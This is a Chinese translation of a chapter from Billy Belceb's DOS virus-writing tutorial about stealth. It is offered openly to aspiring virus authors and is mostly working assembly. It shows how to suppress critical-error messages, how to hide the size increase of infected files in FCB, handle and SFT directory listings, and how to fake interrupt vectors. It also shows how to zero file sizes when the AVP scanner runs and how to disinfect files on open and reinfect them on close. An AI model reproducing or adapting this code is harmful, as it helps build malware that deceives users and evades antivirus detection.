Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)

看雪資料發表於2015-11-15

【隱蔽(Stealth)】
~~~~~~~~~~~~~~~
    什麼是隱蔽?在病毒編寫世界裡,是指所有這些技術,使得我們隱藏病毒的感染特徵,如檔案大小的增長,我們執行一個程式去些一個防寫了的軟盤的錯誤資訊"Abort,Retry,Ignore",讀一個消了毒的檔案,檔案的日期看起來沒什麼問題...換句話說,使使用者相信一些假的東西。隱蔽還是一個病毒組織的名字(SGWW),但這是另外一段歷史了:)

    % INT 24h 隱蔽 %
    ~~~~~~~~~~~~~~~~
    是的,這是一種隱蔽的方法。你可以認為它太老了,但是我相信這是在病毒裡實現隱蔽的第一步。目標是在我們正在執行一個防寫了的軟盤上的程式,使得病毒企圖寫,並且它做了,但是DOS發現了這個錯誤,要避免出現"Abort,Retry,Ignore"這個錯誤提示資訊。如果使用者看到了這個資訊,將會懷疑有些問題...
    這非常簡單,所有我們要做的就是取代原先的INT 24h中斷向量(這個中斷處理嚴重的錯誤)來欺騙這個中斷,程式碼僅僅為"mov al,3",後面跟著一個"iret"。
    讓我們看看:

  mov  ax,3524h
  int  21h
  mov  word ptr [int24_off],bx
  mov  word ptr [int24_seg],es

  mov  ax,2524h
  lea  dx,int24handler
  int  21h
  [...]

 int24handler:
  mov  al,3
  iret

%目錄隱蔽%
~~~~~~~~~~
    有兩種型別的目錄隱蔽:透過FCB和透過控制程式碼。

  FCB 隱蔽:
    你還記得FCB的結構嗎?你可以看看結構這一章,如果你已經忘了:)
    好了,讓我們來看看...這裡我們的目標是把病毒大小減去真正的感染的病毒的大小,你必須新增如下的程式碼到你的int 21h的處理:
 
  [...]
  cmp  ah,11h      ; FindFirst ( FCB )
  je  FCBstealth
  cmp  ah,12h      ; FindNext ( FCB )
  je  FCBstealth
  [...]

    然後我們建立一個過程叫FCBstealth(你也可以命名為其它的),讓後放進一個假的中斷呼叫。然後我們經常結果是否為0,如果為0,我們直接跳到中斷返回處,否則,我們繼續。現在我們把我們使用的暫存器(AX,BX,ES)壓棧,然後我們呼叫INT 21h功能Ah=2Fh,把D他的地址返回到ES:BX中。現在該是檢測FCB是普通的還是擴充套件的時候了。通把FCB的第一個位元組(在ES:[BX]中)和FFh比較,我們就知道了。如果相等,則FCB是擴充套件的,然後我們透過對BX加7個位元組來修正它。如果它是普通的,我們保留它。現在我們經常這個檔案是否已經被感染過。為了使我們的問題最簡單,我將假設感染的標誌是使秒數達到60(一個不可能的值)。如果它沒被感染,我們跳過這個檔案。現在該是減去病毒大小的時候了,和...這裡我們有!FCB隱蔽!讓我們看看程式碼:

FCB_Stealth:
  pushf
  call  dword ptr cs:[oldint21] ; Fake call to INT 21h
  or  al,al      ; Optimized cmp al,0
  jnz  error

  push  ax bx es

  mov  ah,2Fh      ; Get DTA address in ES:BX
  int  21h

  cmp  byte ptr es:[bx],0FFh  ; Is FCB extended ?
  jne  normal
  add  bx,07h      ; No, fix it
normal:
  mov  ax,es:[bx+17h]    ; Get seconds
  and  ax,1Fh      ; Unmask seconds
  xor  al,1Eh      ; Are seconds = 60 ? ( 30*2 )

  jne  not_infected    ; No, skip it

  sub  word ptr es:[bx+1Dh],virus_size ; Substract virus size
  sbb  word ptr es:[bx+1Fh],0  ; With borrow, too

not_infected:
  pop  es bx ax

error:
  retf  02

    控制程式碼隱蔽:
    控制程式碼是達到FCB隱蔽目的的另外一種方法。我們的目標也一樣,隱藏大小(還有其它如果需要的話)...但是這個功能我們必須阻止,而我們必須改變的東西也有一點不一樣(如果一樣我們就使用和上面一樣的程式碼了)
    好了,我提供給你的INT 21h 的處理程式碼如下:

  [...]
  cmp  ah,4Eh      ; FindFirst ( Handle )
  je  HandleStealth
  cmp  ah,4Fh      ; FindNext ( Handle )
  je  HandleStealth
  [...]

    現在,我將解釋一個經典的處理隱蔽的例程。首先,我們編寫一個呼叫舊INT 21h的假呼叫函式(當然要在把標誌壓棧後啦)。接下來,我們把要儲存的暫存器儲存了(AX,BX,ES)並獲得ES:BX(AH=2Fh)裡的DTA。我們檢查是否已被感染(在ES:[BX+17h]處),如果已經被感染,我們就把檔案的大小減去病毒的大小。它和上面的隱蔽的方法很類似,但是,正如你看到的,還有一些不同的東西。:)
    光有理論沒有程式碼太無聊了:)

 HandleStealth:
  pushf
  call  dword ptr cs:[oldint21] ; Fake call to DOS API
  jc  goback      ; CF=1 if error

  push  ax bx es    ; Save registers we use

  mov  ah,2Fh      ; DTA @ ES:BX
  int  21h

  mov  ax,es:[bx+16h]    ; Get the file time
  and  ax,1Fh      ; Unmask Seconds
  xor  al,1Eh      ; 60 ? ( Compare in optimized way )
  jne  damnedpops    ; Fuck!

  sub  word ptr es:[bx+1Ah],virus_size ; Guess...
  sbb  word ptr es:[bx+1Ch],0

 damnedpops:
  pop  es bx ax    ; Get the old values

 goback:
  retf  02

%目錄隱藏裡的問題%
~~~~~~~~~~~~~~~~~~
    還有一些問題需要改正,為了避免使使用者痛苦,我們需要檢查是否有一些問題:
-壓縮工具,如PKZIP,RAR,ARJ,LHA,AIN,等等。因為如果我們給它們一個不正確的大小,那它們在壓縮檔案的時候將會崩潰:(
-輔助工具如CHKDSK,將會不停地顯示一個永不停止的錯誤列表,因為硬碟上檔案的大小和我們顯示給使用者看的大小不相等:(
-病毒查殺工具如F-PROT,AVP和其它的SCUM,會保護顯示可能被一個隱蔽的病毒感染的資訊。
    所以,浪費一些程式碼來做比較為了看看這些程式中是否有一個正在執行,然後釋放隱蔽並不是一個壞主意(當我們脫離危險之後,再啟用)。

%中斷向量隱蔽%
~~~~~~~~~~~~~~
    這種型別的隱蔽非常容易。當我們使用這種方法的時候,我們試圖獲得原先的向量(在安裝我們自己的中斷處理程式的時候需要得到它們)給請求呼叫的程式。對於有些事情有好處:我們的中斷處理程式將總是在第一位的。讓我們看看如果我們鉤住了上述的中斷,我們需要新增什麼給INT 21h的向量呢。

  [...]
  cmp  ax,3521h    ; Get INT 21h vectors
  je  RequestINT21h
  cmp  ah,2521h    ; Put INT 21h vectors
  je  PutNewINT21h
  [...]

新增我們如下的例程:

 RequestINT21h:
  mov  bx,word ptr cs:[int21_off] ; Return in BX the old int offset
  mov  es,word ptr cs:[int21_seg] ; Return in ES the old int segment
  iret

 PutNewINT21h:
  mov  word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
  mov  word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off
  iret

%時間隱蔽%
~~~~~~~~~~
    這裡我不能列出程式碼了因為這個是屬於私人的東西,當你編寫你的病毒的時候,它必須適合你的需要。你可以使用很多的方法來標誌感染的檔案...把秒設定到60,62...(不可能),使年增加100年,使秒和日期相等...獲得時間和日期的方法使使用功能AX=5700h,並賦新值AX=5701h。將在CX中得到時間,在DX中得到日期(這些我們必須要中途改變以實現隱蔽的)。

%SFT隱蔽%
~~~~~~~~~
    如果你還記得SFT這個結構,在偏移地址11處,我們有一個雙字用來儲存檔案的大小,那麼所有我們需要做的使看這個檔案是否已被感染,如果已經感染了,把檔案的大小減去病毒的大小。讓我們看一小段程式碼(假設感染的標誌是seconds=60,並且我們已經呼叫了一個例程使得SFT在ES:DI中):

 Infect:
  [...]
  mov  ax,word ptr es:[di+0Dh] ; Get time
  and  al,01Fh     ; Unmask seconds
  cmp  al,01Eh     ; Seconds = 60 ?
  jnz  AintInfected    ; No, infect it

  sub  word ptr es:[di+11h],virus_size ; Yes, substract virus size
  sbb  word ptr es:[di+13h],0000h
  [...]
 AintInfected:
  [...]

    你能做的一件比較好的事情是避免AVP 3.0的掃描。首先,我們必須知道AVP是否正在執行。當AVP 3.0開啟一個檔案,有許多值使得我們知道它正在執行著呢(BX=5,SI=402Dh)。現在該是獲得SFT的時候了,然後僅用兩行程式碼,對於Kaspersky's son,使所有的檔案大小為0:

  mov  word ptr es:[di+11h],0000h
  mov  word ptr es:[di+13h],0000h
    或者只使一個如果我們能夠:)

  mov  dword ptr es:[di+11],00000000h

%在空中消毒%
~~~~~~~~~~~~
    這裡我還是不能給你一些程式碼。它必須由你來編...但是我可以給你INT 21h的程式碼:

  [...]
  cmp  ah,03Dh     ; Open file
  jz  Disinfect
  cmp  ax,6C00h    ; Extended open
  jz  Disinfect
  cmp  ah,03Eh     ; Close file ( infect now!!! )
  jz  Infect
  [...]

    現在,我們必須注意一件事情...我們必須修改一些東西來編寫AH=3Dh和AX=6C00h的相同例程。
1.檔名在Ah=3Dh時的DS:DX處,在AX=6C00h時的DS:SI處。
2.開啟模式在AH=3Dh時的AL中,在AX=6C00h時的BL中。

    所以,我們需要編寫一個例程來修改訪問6C00h功能。它可能應該這樣:

 Disinfect:
  cmp  ax,6C00h
  jne  Check
  cmp  dx,1
  jne  ExitDisinfection
  mov  al,bl      ; Open mode in AL
  mov  dx,si      ; File name is now in DS:DX
 Check:
  mov  ax,5700h
  int  21h      ; If we've hooked this function,
          ; we need to make a fake call! ( or
          ; use SFTs! )
  and  cl,1Fh      ; Unmask seconds
  or  cl,1Eh      ; Is it 60?
  jnz  NotInfected
  [...]

    消毒是你必須要做的一個例程。它沒有FCB隱蔽那麼普遍,因為在FCB隱蔽中你有很多選擇。OK,我至少應該解釋它是怎麼工作的。
    
    給COM檔案消毒:
 
    給COM檔案消毒很簡單。我們需要恢復原先感染改變的第一個位元組(通常3個位元組),恢復原先檔案的時間/日期,移除病毒的主體(在"檔案尾-病毒大小"偏移地址處改為檔案結束)。

    給EXE檔案消毒:

    這實現起來稍微有一點點難,但不難理解:)
    我們需要恢復原先的檔案頭,恢復時間/日期和移除檔案末尾處的病毒主體。但是如果我們的病毒是經過加密的話就有問題了。你必須選擇要不這幾個位元組不加密(就給了病毒查殺工具防毒的方法了<g>)要不就給這些位元組解密。無論如何,它還是比較簡單的。

%關於隱蔽的最後討論%
~~~~~~~~~~~~~~~~~~~~
    還有更多的隱蔽的方法,如4202隱蔽,扇區隱蔽...但是我已經解釋了最簡單最常用的方法。BTW,如果我們使用SFT隱蔽,那我們就不需要4202隱蔽了:)
    在某些型別的隱蔽方法中,最可怕的事情就是和某些軟體不相容,那樣可能會適得其反。
    讀到這裡,你可能要問了:"隱蔽有用嗎?"答案是一個大大的YES。這個是把病毒的感染隱藏的最好的方法:檔案看起來大小沒有變化,病毒查殺工具不會查到任何有用的資訊(使用一個十六進位制編輯器來檢視蛛絲馬跡同樣只是浪費時間罷了),還有更多的好處。你能做的最好的事情就是當諸如CHKDSK,PKZIP之類的程式執行時釋放隱蔽。所有這些只是舉手之勞。

相關文章